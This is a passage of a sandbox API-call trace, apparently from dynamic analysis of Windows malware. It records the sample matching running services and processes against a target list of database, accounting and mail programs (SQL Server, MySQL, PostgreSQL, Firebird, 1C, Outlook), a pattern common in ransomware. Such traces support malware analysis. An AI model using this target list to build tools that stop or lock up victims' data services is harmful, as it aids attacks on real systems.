lpString2="ShellHWDetection") returned 1 [0064.612] lstrlenW (lpString="Spooler") returned 7 [0064.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0064.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0064.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0064.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0064.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0064.612] lstrlenW (lpString="SysMain") returned 7 [0064.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0064.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0064.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0064.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0064.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0064.612] lstrlenW (lpString="Themes") returned 6 [0064.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0064.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0064.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0064.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0064.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0064.612] lstrlenW (lpString="TrkWks") returned 6 [0064.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0064.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0064.613] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0064.613] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0064.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0064.613] lstrlenW (lpString="UxSms") returned 5 [0064.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0064.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0064.613] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0064.613] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0064.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0064.613] lstrlenW (lpString="WdiServiceHost") returned 14 [0064.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.613] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0064.613] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0064.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0064.613] lstrlenW (lpString="WdiSystemHost") returned 13 [0064.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.613] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0064.613] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0064.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0064.613] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0064.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.614] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0064.614] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0064.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0064.614] lstrlenW (lpString="Winmgmt") returned 7 [0064.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0064.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0064.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0064.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0064.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0064.614] lstrlenW (lpString="WPDBusEnum") returned 10 [0064.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0064.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0064.614] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0064.614] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0064.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0064.614] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f23b10 | out: hHeap=0x4b0000) returned 1 [0064.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0064.619] Process32FirstW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.619] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0064.620] lstrlenW (lpString="System") returned 6 [0064.620] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0064.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0064.620] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0064.620] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0064.620] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0064.620] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0064.620] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0064.620] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0064.620] lstrlenW (lpString="smss.exe") returned 8 [0064.620] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0064.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0064.621] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.621] lstrlenW (lpString="csrss.exe") returned 9 [0064.621] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0064.621] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0064.621] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0064.621] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0064.621] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0064.621] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0064.621] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0064.622] lstrlenW (lpString="wininit.exe") returned 11 [0064.622] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0064.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0064.622] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0064.622] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0064.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0064.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0064.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0064.622] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.622] lstrlenW (lpString="csrss.exe") returned 9 [0064.622] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0064.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0064.622] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0064.622] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0064.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0064.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0064.623] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0064.623] lstrlenW (lpString="winlogon.exe") returned 12 [0064.623] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0064.623] lstrlenW (lpString="services.exe") returned 12 [0064.623] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0064.624] lstrlenW (lpString="lsass.exe") returned 9 [0064.624] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0064.624] lstrlenW (lpString="lsm.exe") returned 7 [0064.624] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.624] lstrlenW (lpString="svchost.exe") returned 11 [0064.625] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.625] lstrlenW (lpString="svchost.exe") returned 11 [0064.625] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.625] lstrlenW (lpString="svchost.exe") returned 11 [0064.625] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.626] lstrlenW (lpString="svchost.exe") returned 11 [0064.626] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.626] lstrlenW (lpString="svchost.exe") returned 11 [0064.626] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.626] lstrlenW (lpString="audiodg.exe") returned 11 [0064.626] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.627] lstrlenW (lpString="svchost.exe") returned 11 [0064.627] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.627] lstrlenW (lpString="svchost.exe") returned 11 [0064.627] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.627] lstrlenW (lpString="dwm.exe") returned 7 [0064.628] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.628] lstrlenW (lpString="explorer.exe") returned 12 [0064.628] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.628] lstrlenW (lpString="spoolsv.exe") returned 11 [0064.628] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.629] lstrlenW (lpString="svchost.exe") returned 11 [0064.629] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.629] lstrlenW (lpString="taskhost.exe") returned 12 [0064.629] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0064.629] lstrlenW (lpString="taskeng.exe") returned 11 [0064.629] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0064.630] lstrlenW (lpString="communist_nick.exe") returned 18 [0064.630] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0064.630] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0064.630] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0064.631] lstrlenW (lpString="prize.exe") returned 9 [0064.631] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0064.631] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0064.631] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0064.631] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0064.631] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0064.632] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0064.632] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0064.632] lstrlenW (lpString="prospects.exe") returned 13 [0064.632] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0064.632] lstrlenW (lpString="signalpackard.exe") returned 17 [0064.632] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0064.633] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0064.633] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0064.633] lstrlenW (lpString="release.exe") returned 11 [0064.633] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0064.634] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0064.634] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0064.634] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0064.634] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0064.634] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0064.634] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0064.635] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0064.635] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0064.635] lstrlenW (lpString="stickers_nations.exe") returned 20 [0064.635] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0064.635] lstrlenW (lpString="initiated-scary.exe") returned 19 [0064.635] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0064.636] lstrlenW (lpString="3dftp.exe") returned 9 [0064.636] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0064.636] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0064.636] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0064.636] lstrlenW (lpString="alftp.exe") returned 9 [0064.637] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0064.637] lstrlenW (lpString="barca.exe") returned 9 [0064.637] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0064.637] lstrlenW (lpString="bitkinex.exe") returned 12 [0064.637] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0064.638] lstrlenW (lpString="coreftp.exe") returned 11 [0064.638] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0064.638] lstrlenW (lpString="far.exe") returned 7 [0064.638] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0064.638] lstrlenW (lpString="filezilla.exe") returned 13 [0064.638] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0064.639] lstrlenW (lpString="flashfxp.exe") returned 12 [0064.639] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0064.639] lstrlenW (lpString="fling.exe") returned 9 [0064.639] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0064.639] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0064.639] Process32NextW (in: hSnapshot=0x198, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, 